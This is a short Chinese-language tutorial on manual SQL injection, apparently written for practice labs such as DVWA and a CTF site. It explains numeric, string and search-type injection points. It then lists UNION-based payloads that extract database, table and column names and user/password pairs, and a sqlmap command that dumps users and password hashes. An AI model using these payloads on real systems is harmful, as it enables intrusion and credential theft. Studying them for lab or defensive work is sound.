手工注入的各种方式
1.数字型注入点
许多网页会有 例如http://xxx.com/zhuye.php?id=1 这种格式,这种一般被叫做数字型注入点,他的注入点 id类型为数字 ,在大多数网页中,像查看个人信息,查看文章等,大多会使用这种id的类型来传递信息交给后端
形式如下:select * from 表名 where id=1
此时若存在注入,则可以构造如下sql注入语句进行爆破:
select * from 表名 where id=1 and 1=1
2.字符型注入点
当网页链接有类似的结构:http://xxx.com/zhuye.php?name=jinnan 这种形式,其中注入点的name为字符型,所以叫字符注入点。
形式如下:select * from 表名 where name='jinnan’
这种类型相比第一种,多了可能会是双引号或者是单引号,即 “ ” 或 ‘ ’ 。
那么则可以构造如下的sql注入语句进行爆破:
**select * from 表面 where name=‘admin’ and 1=1’ **
3.搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字"
有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
4.手工注入
http://mashang.eicp.vip:1226/yucctf/sqli_2/?id=3’ and 1=2 union select 1,2,3 --+
–+和#一样。
union select 联合查询
1’ and 1=2 union select 1,2 #
1’ and 1=2 union select 1,database() # //查数据库名
1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’ # //查数据表名
1’ and 1=2 union select 1,column_name from information_schema.columns where table_name=‘users’ # //数据列名
1’ and 1=2 union select 1,concat(user,’—’,password) from users # //数据信息
sqlmap -u “xxx.xy.com/showproducts.php?id=12” --cookie=“PHPSESSID=aa6onft5fde4fn7ru8dc81ql13” --users --passwords --dump